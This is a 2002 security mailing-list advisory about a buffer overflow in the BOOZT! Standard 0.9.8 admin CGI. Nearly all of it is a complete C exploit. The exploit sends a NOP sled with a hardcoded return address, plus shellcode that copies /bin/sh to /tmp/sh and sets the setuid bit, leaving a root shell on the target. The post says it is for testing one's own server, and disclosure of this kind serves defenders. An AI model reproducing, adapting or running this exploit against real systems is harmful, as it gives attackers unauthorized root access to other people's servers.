[EXPL] BOOZT! Standard CGI Vulnerability (Exploit Released)

From: support@securiteam.com
Date: 01/14/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Mon, 14 Jan 2002 23:16:14 +0100 (CET)

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  BOOZT! Standard CGI Vulnerability (Exploit Released)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article:
<http://www.securiteam.com/unixfocus/5FP012A60U.html> BOOZT!
Administration CGI Vulnerable to Buffer Overflow, a security vulnerability
in the BOOTZ! product allows attackers to cause an internal buffer to
overflow thus causing it to execute arbitrary code. The following is an
exploit code that can be used to test your server for the mentioned
vulnerability.

DETAILS

Exploit:
/* -----------------------------------------

        BOOZT! Standard 0.9.8 CGI vulnerability exploit

        Rafael San Miguel Carrasco

        rsanmcar@alum.uax.es

   ----------------------------------------- */

#include <netinet/in.h>
#define PORT 8080
#define BUFLEN 1597
#define RET 0xbffff297
#define NOP 0x90

int main (int argc, char **argv) {

        int sockfd, i, cont;
        struct sockaddr_in dest;
        int html_len = 15;
        char cgicontent[2048];
        char buf[BUFLEN];

        char shellcode[]=
               
"\x29\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x02"
"\xeb\x05\x29\xc0\x40\xcd\x80\x29\xc0\x29\xdb\x29\xc9"
               
"\xb0\x46\xcd\x80\xeb\x2a\x5e\x89\x76\x32\x8d"
"\x5e\x08\x89\x5e\x36\x8d\x5e\x0b\x89\x5e\x3a\x29"
               
"\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x31\x89"
"\x46\x3e\x87\xf3\xb0\x0b\x8d\x4b\x32\x8d\x53\x3e"
               
"\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68\x20\x2d\x63\x20\x63\x70\x20\x2f\x62\x69\x6e"
               
"\x2f\x73\x68\x20\x2f\x74\x6d\x70\x2f\x73\x68"
"\x3b\x20\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20"
                "\x2f\x74\x6d\x70\x2f\x73\x68";

        char *html[15] = {
                "POST /cgi-bin/boozt/admin/index.cgi HTTP/1.0\n",
                "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,
*/*\n",
                "Referer:
http://10.0.0.1:8080/cgi-bin/boozt/admin/index.cgi?section=5&input=1\n",
                "Accept-Language: es, en\n",
                "Content-Type: application/x-www-form-urlencoded\n",
                "UA-pixels: 640x480\n",
                "UA-color: color8\n",
                "UA-OS: Windows 95\n",
                "UA-CPU: x86\n",
                "User-Agent: Mozilla/2.0 (compatible; MSIE 3.0; Windows
95)\n",
                "Host: 10.0.0.1:8080\n",
                "Connection: Keep-Alive\n",
                "Content-Length: 1776\n",
                "Pragma: No-Cache\n",
                "\n",
        };

        if (argc < 2) {
                printf ("usage: %s <IP>\n", argv[0]);
                exit (-1);
        }

        printf ("----------\n");
        printf (" BOOZT! Standard exploit\n");
        printf ("----------\n");
        printf ("Rafael San Miguel Carrasco (_kiss_)\n");
        printf ("rsanmcar@alum.uax.es\n");
        printf ("----------\n");

        for (i = 0; i < BUFLEN; i+=4)
                *( (long *) &buf[i]) = RET;

        for (i = 0; i < (BUFLEN - 16); i++)
                buf[i] = NOP;

        cont = 0;

        for (i = (BUFLEN - strlen (shellcode) - 16); i < (BUFLEN - 16);
i++)
                buf[i] = shellcode [cont++];

        strcpy (cgicontent, "name=");
        strncat (cgicontent, buf, sizeof (buf));
        strcat (cgicontent,
"&target=&alt_text=&id_size=1&type=image&source=&"
"source_path=Browse...&source_flash=&source_flash_path=Browse...&"
"script_name=&input=1&section=5&sent=1&submit=Create+New+Banner");

        printf ("connecting ...\n");

        if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) {
                perror ("socket");
                exit (-1);
        }

        bzero (&dest, sizeof (dest));
        dest.sin_family = AF_INET;
        dest.sin_port = htons (PORT);
        dest.sin_addr.s_addr = inet_addr (argv[1]);

        if (connect (sockfd, &dest, sizeof (dest)) < 0) {
                perror ("connect");
                exit (-1);
        }

        printf ("connected. sending buffer ...\n");

        for (i = 0; i < html_len; i++) {

                if (write (sockfd, html[i], strlen(html[i])) <
strlen(html[i]))
{
                        perror ("write");
                        exit (-1);
                }
        }

        if (write (sockfd, cgicontent, strlen(cgicontent)) <
strlen(cgicontent))
{
                perror ("write cgicontent");
                exit (-1);
        }

        if (close (sockfd) < 0) {
                perror ("close");
                exit (-1);
        }

        printf ("there should be a rootshell in /tmp.\n\n");

        return 0;
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:NIKEBOY@retemail.es>
NIKEBOY.

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